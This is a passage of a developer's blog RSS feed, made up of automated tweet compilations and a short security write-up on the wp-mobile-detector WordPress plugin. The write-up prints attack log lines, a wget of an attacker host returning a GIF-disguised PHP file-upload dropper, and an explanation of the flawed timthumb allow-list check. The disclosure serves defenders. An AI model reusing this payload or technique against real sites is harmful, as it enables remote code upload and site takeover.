<div class="tweet-text">RT <a href="http://twitter.com/theJeremyVine">@theJeremyVine</a>: Mystery over this article on Mail website last night, which described in detail events after Knox LOST appeal: http:/ &#8230;</div>
<div class="tweet-details">(2011/10/04)</div>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-04-november-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automated twitter compilation up to 11 September 2011</title>
		<link>http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-11-september-2011/</link>
		<comments>http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-11-september-2011/#comments</comments>
		<pubDate>Sun, 11 Sep 2011 16:37:53 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=453</guid>
		<description><![CDATA[Arbitrary tweets made by TheGingerDog (i.e. David Goodwin) up to 11 September 2011 Hopefully no one will notice me running around Bromsgove today in a top from the Nottingham half marathon which started 50 mins ago&#8230;.. (2011/09/11, Bromsgrove, Worcestershire) Just reset my MacBookPro&#8217;s SMC (see t.co/4YAqXAu) &#8211; now it can see all it&#8217;s memory again! &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-11-september-2011/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Arbitrary tweets made by <a href="http://twitter.com/TheGingerDog">TheGingerDog</a> (i.e. David Goodwin) up to 11 September 2011</p>
<p><span id="more-453"></span></p>
<ul>
<li>
<div class="tweet-text">Hopefully no one will notice me running around Bromsgove today in a top from the Nottingham half marathon which started 50 mins ago&#8230;..</div>
<div class="tweet-details">(2011/09/11, <a href="http://maps.google.com/maps?q=52.34745522,-2.05894311&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Just reset my MacBookPro&#8217;s SMC (see <a href="http://t.co/4YAqXAu">t.co/4YAqXAu</a>) &#8211; now it can see all it&#8217;s memory again! Yippee&#8230;</div>
<div class="tweet-details">(2011/09/10)</div>
</li>
<li>
<div class="tweet-text">Kington show. Fun for all the family.</div>
<div class="tweet-details">(2011/09/10, <a href="http://maps.google.com/maps?q=52.22444641,-2.74609285&amp;iwloc=A&amp;hl=en">County of Herefordshire, County of Herefordshire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/saismo">@saismo</a>: CSS humor: .titanic { float: none; }</div>
<div class="tweet-details">(2011/09/09)</div>
</li>
<li>
<div class="tweet-text">Bad halfords didn&#8217;t tighten my handlebars up. Walking home it is then.</div>
<div class="tweet-details">(2011/09/08, <a href="http://maps.google.com/maps?q=52.3395609,-2.05462734&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">New work rule: any bottled beer left lying around for longer than 1 month in the office will be &#8220;liberated&#8221;. <a href="http://t.co/3i1tyl2">t.co/3i1tyl2</a></div>
<div class="tweet-details">(2011/09/08, <a href="http://maps.google.com/maps?q=52.33929757,-2.05559625&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Hooray for Halfords (Bromsgrove) who fixed my bicycle for free (service/fix jumping chain). <a href="http://twitter.com/search?q=#happy">#happy</a></div>
<div class="tweet-details">(2011/09/08, <a href="http://maps.google.com/maps?q=52.33803488,-2.05695887&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/jwage">@jwage</a>: Soo, who thinks PHP should be on github as well and not just use git? It seems so obvious it is the right choice it&#8217;s painful &#8230;</div>
<div class="tweet-details">(2011/09/08)</div>
</li>
<li>
<div class="tweet-text">Pondering a day out at <a href="http://t.co/IK5Q86K">t.co/IK5Q86K</a> (#KingtonShow, Herefordshire) this Saturday&#8230;.</div>
<div class="tweet-details">(2011/09/08)</div>
</li>
<li>
<div class="tweet-text">Apparently it&#8217;s fashionable to go on holiday for a week, while leaving your house unlocked&#8230;.</div>
<div class="tweet-details">(2011/09/08, <a href="http://maps.google.com/maps?q=52.34557154,-2.06699783&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">The King George Close rabbit &#8211; sighting. <a href="http://t.co/oROeMXZ">t.co/oROeMXZ</a></div>
<div class="tweet-details">(2011/09/08, <a href="http://maps.google.com/maps?q=52.34461721,-2.06857417&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">The probability of me getting to Nottingham for ~8am on a Sunday seems distinctively low. <a href="http://twitter.com/search?q=#halfmarathon">#halfmarathon</a></div>
<div class="tweet-details">(2011/09/08, <a href="http://maps.google.com/maps?q=52.34466908,-2.06868815&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/dsp_">@dsp_</a>: PHP will switch to git. <a href="http://t.co/iO9CDun">t.co/iO9CDun</a></div>
<div class="tweet-details">(2011/09/08)</div>
</li>
<li>
<div class="tweet-text">OSX&#8217;s &#8216;nvram boot-args=&#8221;-x&#8221;&#8216; is the same as linux&#8217;s &#8216;touch /forcefsck&#8217; &#8211; except you need to set boot-args=&#8221;" after reboot. <a href="http://twitter.com/search?q=#fsck">#fsck</a></div>
<div class="tweet-details">(2011/09/07, <a href="http://maps.google.com/maps?q=52.34775286,-2.05882765&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Perhaps this is a cunning Apple plan &#8211; as I was CASUALLY looking at apple.com/uk&#8217;s store last night&#8230;. <a href="http://twitter.com/search?q=#conspiracy">#conspiracy</a></div>
<div class="tweet-details">(2011/09/07, <a href="http://maps.google.com/maps?q=52.34775286,-2.05882765&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Stupid MacBook seems to be having hardware issues. Half the memory is &#8216;missing&#8217;, spotlight has started to reindex / &amp; fsck shows issues. Meh</div>
<div class="tweet-details">(2011/09/07, <a href="http://maps.google.com/maps?q=52.34760287,-2.05910146&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">I now have: Infected, Contagious, Ancestor, The Rookie, The Starter and The All Pro <a href="http://twitter.com/scottsigler">@scottsigler</a> books. Number read: ZERO. Audiobooks FTW?</div>
<div class="tweet-details">(2011/09/07, <a href="http://maps.google.com/maps?q=52.34752464,-2.05882399&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/stevenmak">@stevenmak</a>: Programming Language behind the top 40 websites: <a href="http://t.co/E7RiWfn">t.co/E7RiWfn</a></div>
<div class="tweet-details">(2011/09/07)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/PalePurpleLtd">@PalePurpleLtd</a>: The employees have just been educated about the Gruffalo&#8230;. He has purple prickles all over his back! Oh help! Oh no &#8230;</div>
<div class="tweet-details">(2011/09/05)</div>
</li>
<li>
<div class="tweet-text">Netnames appears to have a slight security problem &#8211; see <a href="http://t.co/20QVy63">t.co/20QVy63</a> &#8211; vodafone.com / theregister.co.uk / ups.com <a href="http://twitter.com/search?q=#fail">#fail</a> <a href="http://twitter.com/search?q=#dns">#dns</a></div>
<div class="tweet-details">(2011/09/04)</div>
</li>
<li>
<div class="tweet-text">Only managed to run 10.5 miles today; walked the final mile home. <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> </div>
<div class="tweet-details">(2011/09/04)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/ukscores">@ukscores</a>: Agreement signed with Food Standards Agency to provide a single National scheme <a href="http://t.co/kymspPP">t.co/kymspPP</a></div>
<div class="tweet-details">(2011/09/03)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/mikkohypponen">@mikkohypponen</a>: Konami code easter egg check in 115 bytes in Javascript: <a href="http://t.co/5MXNVfP">t.co/5MXNVfP</a> /via <a href="http://twitter.com/140bytes">@140bytes</a>&#8230;</p>
</div>
<div class="tweet-details">(2011/09/03)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/dysinger">@dysinger</a>: Why do people still comment code out and check it back in? Come on people. Man up &amp; delete it. Put it back later with a re &#8230;</div>
<div class="tweet-details">(2011/09/02)</div>
</li>
<li>
<div class="tweet-text">Oooh, <a href="http://t.co/zB0W02J">t.co/zB0W02J</a> &#8211; perhaps this will fix the crappy MSN thing where messages aren&#8217;t delivered to me&#8230;. *crosses fingers and toes*</div>
<div class="tweet-details">(2011/09/02)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/BadAdviceNurse">@BadAdviceNurse</a>: Listen up, people&#8230;Children are the future. If we do not keep them plump and healthy, we will have nothing to eat d &#8230;</div>
<div class="tweet-details">(2011/09/02)</div>
</li>
<li>
<div class="tweet-text">&#8220;What&#8217;s she going to look like with a chimney on her head?&#8221;.</div>
<div class="tweet-details">(2011/09/02, <a href="http://maps.google.com/maps?q=52.34735197,-2.05895979&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/ls12styler">@ls12styler</a>: Looking to hire a junior/mid level PHP Dev. If interested DM me. RT&#8217;s appreciated.</div>
<div class="tweet-details">(2011/09/02)</div>
</li>
<li>
<div class="tweet-text">Stupid evenings are getting longer. I&#8217;ll need to put lights on my bike soon.</div>
<div class="tweet-details">(2011/09/01, <a href="http://maps.google.com/maps?q=52.34736823,-2.05869308&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/PalePurpleLtd">@PalePurpleLtd</a>: Thank you customer. Those Thornton chocolates were very yummy. <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </div>
<div class="tweet-details">(2011/09/01)</div>
</li>
<li>
<div class="tweet-text">$customer&#8217;s DNS is broken, so I&#8217;ve taken the opportunity to reboot their server. Thank you Debian for a 559 day uptime. <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </div>
<div class="tweet-details">(2011/09/01)</div>
</li>
<li>
<div class="tweet-text">2010/2011 tax return nonsense done. Time wasted: 20+ minutes.</div>
<div class="tweet-details">(2011/08/31, <a href="http://maps.google.com/maps?q=52.34764009,-2.05893024&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Just had a phone call asking me if i&#8217;d employ an apprentice for £2.50/hour.</div>
<div class="tweet-details">(2011/08/31)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/worcspaul">@worcspaul</a>: <a href="http://twitter.com/TheGingerDog">@TheGingerDog</a> any reason why I would? Or have I just been spammed?</div>
<div class="tweet-details">(2011/08/31)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/Iain_F">@Iain_F</a>: <a href="http://t.co/h8GDe11">t.co/h8GDe11</a></div>
<div class="tweet-details">(2011/08/30)</div>
</li>
<li>
<div class="tweet-text">Short write up for wp-mobile-detector security problem &#8211; <a href="http://t.co/Cs7J8xh">t.co/Cs7J8xh</a> <a href="http://twitter.com/search?q=#wordpress">#wordpress</a></div>
<div class="tweet-details">(2011/08/30)</div>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-11-september-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wp-mobile-detector is insecure (wordpress plugin)</title>
		<link>http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/</link>
		<comments>http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/#comments</comments>
		<pubDate>Tue, 30 Aug 2011 14:37:33 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=451</guid>
		<description><![CDATA[It seems installing the wp-mobile-detector plugin on your wordpress site is a bad idea {tm} A customer&#8217;s web server has the following requests in it : [24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" [24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>It seems installing the wp-mobile-detector plugin on your wordpress site is a bad idea {tm}</p>
<p>A customer&#8217;s web server has the following requests in it :</p>
<pre>[24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "POST /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Opera 11.00"
[24/Aug/2011:02:10:49 +0100] "GET /wp-content/uploads/_wp_cache.php HTTP/1.1" 200 12970 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"</pre>
<p>_wp_cache.php is one of those all-in-one-hacker-delight-control-panel things.</p>
<p>Making a request to superflickr.com.nu shows  :</p>
<pre>$ wget -qO - http://superflickr.com.nu/index.php
GIF89a????!?,D;&lt;?php $f=preg_replace('/(.*wp-content).*/i','\1',dirname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);echo "14qhpo"; ?&gt;;</pre>
<p>Suffice to say this is then stored on the server via timthumb.php. The timthumb.php script does attempt to use a list of allowed sites :</p>
<pre>$allowedSites = array (
        'flickr.com',
        'picasa.com',
        'blogger.com',
        'wordpress.com',
        'img.youtube.com',
        'amazonaws.com',
);</pre>
<p>But it&#8217;s check is somewhat flawed -</p>
<pre>
foreach ($allowedSites as $site) {
      //$site = '/' . addslashes ($site) . '/';
      if (stristr($url_info['host'], $site) !== false) {
         $isAllowedSite = true;
      }
}</pre>
<p>Hence, superflickr.com.nu escapes through, as it contains the string &#8216;flickr.com&#8217;.</p>
<p>And then, because it performs an &#8216;md5&#8242; of the remote URL/file, which is predictable, the attacker knows where to access the saved file. A simple .htaccess file to block .php files from being accessed in the &#8216;cache&#8217; directory would have solved this.</p>
<p>Alternatively the developers could have bothered to check the extension of the URL being retrieved&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Automated twitter compilation up to 30 August 2011</title>
		<link>http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-30-august-2011/</link>
		<comments>http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-30-august-2011/#comments</comments>
		<pubDate>Tue, 30 Aug 2011 14:16:13 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=449</guid>
		<description><![CDATA[Arbitrary tweets made by TheGingerDog (i.e. David Goodwin) up to 30 August 2011 The wp-mobile-detector plugin looks like it&#8217;s insecure. Creation of cache/xxxx.php files (binary image containing PHP) &#8230; #fail #wordpress (2011/08/30) Argh! It seems some people still use SCO Unix&#8230;. *tears hair out*. (2011/08/30) RT @slimphp: Just made the &#8220;Most Watched Today&#8221; list of &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-30-august-2011/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Arbitrary tweets made by <a href="http://twitter.com/TheGingerDog">TheGingerDog</a> (i.e. David Goodwin) up to 30 August 2011</p>
<p><span id="more-449"></span></p>
<ul>
<li>
<div class="tweet-text">The wp-mobile-detector plugin looks like it&#8217;s insecure. Creation of cache/xxxx.php files (binary image containing PHP) &#8230; <a href="http://twitter.com/search?q=#fail">#fail</a> <a href="http://twitter.com/search?q=#wordpress">#wordpress</a></div>
<div class="tweet-details">(2011/08/30)</div>
</li>
<li>
<div class="tweet-text">Argh! It seems some people still use SCO Unix&#8230;. *tears hair out*.</div>
<div class="tweet-details">(2011/08/30)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/slimphp">@slimphp</a>: Just made the &#8220;Most Watched Today&#8221; list of PHP repos on GitHub! Hello to all the new Slim Framework devs! <a href="http://t.co/Fl4Mg0y">t.co/Fl4Mg0y</a></div>
<div class="tweet-details">(2011/08/30)</div>
</li>
<li>
<div class="tweet-text">I nearly just ran over a suicidal dog. That would have made for an interesting start to the day.</div>
<div class="tweet-details">(2011/08/29, <a href="http://maps.google.com/maps?q=52.34460911,-2.06872825&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">I&#8217;ve just taught my niece what RTFM is.<br />
Clearly our schools are failing the youth of today.</div>
<div class="tweet-details">(2011/08/28)</div>
</li>
<li>
<div class="tweet-text">Arrrrrgggggggggh another customer using 1&amp;1&#8230;.. I hate that control panel!</div>
<div class="tweet-details">(2011/08/26)</div>
</li>
<li>
<div class="tweet-text">Ooh. Thunder, lightning and lovely rain to listen to in Bromsgrove. Time to get my turbo trainer out I guess.</div>
<div class="tweet-details">(2011/08/26, <a href="http://maps.google.com/maps?q=52.34749368,-2.05876584&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Nom Nom Nom, it&#8217;s digestive biscuit day (at work) &#8211; and coop had 50% extra free for McVities&#8230; nom nom nom nom nom *sugar rush* no nom nom</div>
<div class="tweet-details">(2011/08/26)</div>
</li>
<li>
<div class="tweet-text">Discovered my bicycle&#8217;s rear wheel was quite loose this morning. Wondering if which of the children or minions are trying to sabotage me.</div>
<div class="tweet-details">(2011/08/26)</div>
</li>
<li>
<div class="tweet-text">In other news, $customer seems to be suggesting he&#8217;s going to send some more beer this way&#8230; (thanks <a href="http://twitter.com/mybrewerytap">@mybrewerytap</a> <a href="http://t.co/AhsThO5">t.co/AhsThO5</a>)</div>
<div class="tweet-details">(2011/08/25)</div>
</li>
<li>
<div class="tweet-text">Over the last two days, I&#8217;ve wasted ~2hrs trying to do simple stuff in the 1and1.co.uk control panel. Definitely a hosting company to avoid.</div>
<div class="tweet-details">(2011/08/25)</div>
</li>
<li>
<div class="tweet-text">Want to win a hamper of Italian food? &#8211; See <a href="http://t.co/n2sgJIY">t.co/n2sgJIY</a> for details.</div>
<div class="tweet-details">(2011/08/25)</div>
</li>
<li>
<div class="tweet-text">Hmm. Can&#8217;t quite believe this. I think coop is cheaper than asda for something (nappies). Whatever next.</div>
<div class="tweet-details">(2011/08/24, <a href="http://maps.google.com/maps?q=52.33618819,-2.06209039&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">&#8220;Thanks&#8221; Debian for having an Apache alias of /javascript which confused my app + me. rm /etc/apache2/conf.d/javascript-common.conf</div>
<div class="tweet-details">(2011/08/24)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/PalePurpleLtd">@PalePurpleLtd</a>: Security tip <a href="http://twitter.com/search?q=#2">#2</a> &#8211; Do not assume the 11th field in /var/log/secure contains an IP address; &#8220;bob blah blah;blah;blah&#8221; i &#8230;</div>
<div class="tweet-details">(2011/08/24)</div>
</li>
<li>
<div class="tweet-text">Wondering quite why a Magento based site stopped being v slow after midnight. Something somewhere is presumably date dependent?</div>
<div class="tweet-details">(2011/08/24, <a href="http://maps.google.com/maps?q=52.34737792,-2.05871802&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Dear customer(s), please do not use your name or domain name as a password. See also <a href="http://t.co/Sv6dpe0">t.co/Sv6dpe0</a></div>
<div class="tweet-details">(2011/08/22)</div>
</li>
<li>
<div class="tweet-text">Random website (<a href="http://t.co/U0TMgRy">t.co/U0TMgRy</a>) has under latest news: &#8220;Google buys Youtube for $1.6bn&#8221;&#8230; that was ~2006; <a href="http://twitter.com/search?q=#fail">#fail</a></div>
<div class="tweet-details">(2011/08/21)</div>
</li>
<li>
<div class="tweet-text">Oh FFS now there are FOUR tossers driving noisy quad bikes around Bromsgrove. <a href="http://twitter.com/search?q=#chavs">#chavs</a></div>
<div class="tweet-details">(2011/08/21, <a href="http://maps.google.com/maps?q=52.34181105,-2.05821527&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Sunday trading hours seem to be a failure in Bromsgrove. Shops advertise as opening, but don&#8217;t. High street empty.</div>
<div class="tweet-details">(2011/08/21, <a href="http://maps.google.com/maps?q=52.33626007,-2.06248687&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Went to Brum&#8217;s Wagamama last night. It seems to have gone downhill or lost it&#8217;s appeal/charm. At least Jamies is next door&#8230;.</div>
<div class="tweet-details">(2011/08/21, <a href="http://maps.google.com/maps?q=52.34752248,-2.05859879&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Video: US-China Basketball Match Brawl &#8211; As US VP Joe Biden Attempts To Build Good Relations &#8211; Diplomacy at it&#8217;s best <a href="http://t.co/ROpmSCa">t.co/ROpmSCa</a></div>
<div class="tweet-details">(2011/08/19)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/madeupstats">@madeupstats</a>: Despite their skills on computers, hackers are four times less likely to &#8216;gain access&#8217; to a girl&#8217;s knickers.</div>
<div class="tweet-details">(2011/08/19)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/ezyjules">@ezyjules</a>: webOS is dead! Further validation not to invest in teams for second tier mobile OS&#8217;s (see Symbian, MeeGo, BlackBerry OS etc)</div>
<div class="tweet-details">(2011/08/19)</div>
</li>
<li>
<div class="tweet-text">Ooooh Google Plus has games. How did I miss this? Now for the AgeOfEmpires clone (City Of Wonder). Productivity&#8211;</div>
<div class="tweet-details">(2011/08/18, <a href="http://maps.google.com/maps?q=52.33938651,-2.05593054&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Join the one million global march to Save the <a href="http://twitter.com/search?q=#Amazon">#Amazon</a> <a href="http://twitter.com/Avaaz">@Avaaz</a> <a href="http://t.co/diPcWuW">t.co/diPcWuW</a></div>
<div class="tweet-details">(2011/08/17)</div>
</li>
<li>
<div class="tweet-text">UKFast: (adv, profane) refers to sub-standard hosting company. May rely on customers to inform them of service failures. &#8220;That&#8217;s so UKFast!&#8221;</div>
<div class="tweet-details">(2011/08/17)</div>
</li>
<li>
<div class="tweet-text">find . -type d -empty -delete<br />
That is all. <a href="http://twitter.com/search?q=#cli">#cli</a> (delete empty directories)</div>
<div class="tweet-details">(2011/08/17, <a href="http://maps.google.com/maps?q=52.33939829,-2.05563085&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Spot the illusion. <a href="http://t.co/zzU8fep">t.co/zzU8fep</a></div>
<div class="tweet-details">(2011/08/15, <a href="http://maps.google.com/maps?q=52.34751096,-2.05843687&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">The local teenagers seem to be spraying each other with cheap perfume. if cynical I might think there&#8217;re perfume sniffing.</div>
<div class="tweet-details">(2011/08/15, <a href="http://maps.google.com/maps?q=52.34561879,-2.06790755&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Time to try and sleep. 5am. Hmm.</div>
<div class="tweet-details">(2011/08/14, <a href="http://maps.google.com/maps?q=52.33918184,-2.06135344&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Stop Cameron&#8217;s ill considered social media and Blackberry clampdown! <a href="http://t.co/PoXiKtD">t.co/PoXiKtD</a> via <a href="http://twitter.com/openrightsgroup">@openrightsgroup</a></div>
<div class="tweet-details">(2011/08/13)</div>
</li>
<li>
<div class="tweet-text">Captain America : good film, good ending. 8/10.</div>
<div class="tweet-details">(2011/08/12, <a href="http://maps.google.com/maps?q=52.34089666,-2.06499457&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Apparently I did 0.3 hours of work in the last week. This might be a good thing.</div>
<div class="tweet-details">(2011/08/12, <a href="http://maps.google.com/maps?q=52.34089666,-2.06499457&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Fuel rep: you&#8217;ve got N+400kg of fuel.<br />
Captain: we have Nkg of fuel<br />
Fuel rep: do!<br />
Captain: don&#8217;t!<br />
<a href="http://twitter.com/search?q=#easyjet">#easyjet</a> <a href="http://twitter.com/search?q=#Fail">#Fail</a></div>
<div class="tweet-details">(2011/08/12, <a href="http://maps.google.com/maps?q=41.30448695,2.08442717&amp;iwloc=A&amp;hl=en">el Prat de Llobregat, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">Easyjet Speedy boarding seems pointless; we&#8217;re sitting down in the bus; they&#8217;re standing in a chained in bit at the front. <a href="http://twitter.com/search?q=#moo">#moo</a></div>
<div class="tweet-details">(2011/08/12, <a href="http://maps.google.com/maps?q=41.30515873,2.08264407&amp;iwloc=A&amp;hl=en">el Prat de Llobregat, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">BCN -&gt; LPL. <a href="http://twitter.com/search?q=#easyjet">#easyjet</a></div>
<div class="tweet-details">(2011/08/12, <a href="http://maps.google.com/maps?q=41.30587924,2.08025263&amp;iwloc=A&amp;hl=en">el Prat de Llobregat, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">Must resist laughing at people who are repacking their crap at the airport checkin desk. Or not &#8230;. Mwahahahaha</div>
<div class="tweet-details">(2011/08/12, <a href="http://maps.google.com/maps?q=41.29382634,2.07658356&amp;iwloc=A&amp;hl=en">el Prat de Llobregat, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">In Spain, at 22:35, it&#8217;s not too late to use an electric sander. Vroooooooooom. Stupid neighbour.</div>
<div class="tweet-details">(2011/08/11, <a href="http://maps.google.com/maps?q=41.37268254,2.10784782&amp;iwloc=A&amp;hl=en">Hospitalet de Llobregat, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/codinghorror">@codinghorror</a>: terrible scene from the UK riots &#8212; utter mayhem! <a href="http://t.co/PRKeUH8">t.co/PRKeUH8</a></div>
<div class="tweet-details">(2011/08/11)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/brumpolice">@brumpolice</a>: Recognise any of these people &gt;&gt; <a href="http://t.co/xCTcTDG">t.co/xCTcTDG</a>. Call us on 0800 096 0095 or email: tellus<a href="http://twitter.com/west">@west</a>-midlands.pnn. &#8230;</div>
<div class="tweet-details">(2011/08/11)</div>
</li>
<li>
<div class="tweet-text"><a href="http://t.co/nc7RxzE">t.co/nc7RxzE</a> &#8211; &#8220;give us the legal authority in writing &amp; guarantee of support [for] force and we will sort it by Wednesday tea time.&#8221;</div>
<div class="tweet-details">(2011/08/09)</div>
</li>
<li>
<div class="tweet-text">Aberystwyth after global warming. (Llafranc, Spain) <a href="http://t.co/mwXEb84">t.co/mwXEb84</a></div>
<div class="tweet-details">(2011/08/07, <a href="http://maps.google.com/maps?q=41.89312064,3.1961975&amp;iwloc=A&amp;hl=en">Palafrugell, Girona</a>)</div>
</li>
<li>
<div class="tweet-text">Mojitos at 1am. Apparently: mint + rum + sugar + ice + lime &#8230;&#8230; and a straw.</div>
<div class="tweet-details">(2011/08/07, <a href="http://maps.google.com/maps?q=41.94352515,3.19606039&amp;iwloc=A&amp;hl=en">Begur, Girona</a>)</div>
</li>
<li>
<div class="tweet-text">Hmmm. Pickled chillies. I approve.</div>
<div class="tweet-details">(2011/08/05, <a href="http://maps.google.com/maps?q=41.93939262,3.18203872&amp;iwloc=A&amp;hl=en">Begur, Girona</a>)</div>
</li>
<li>
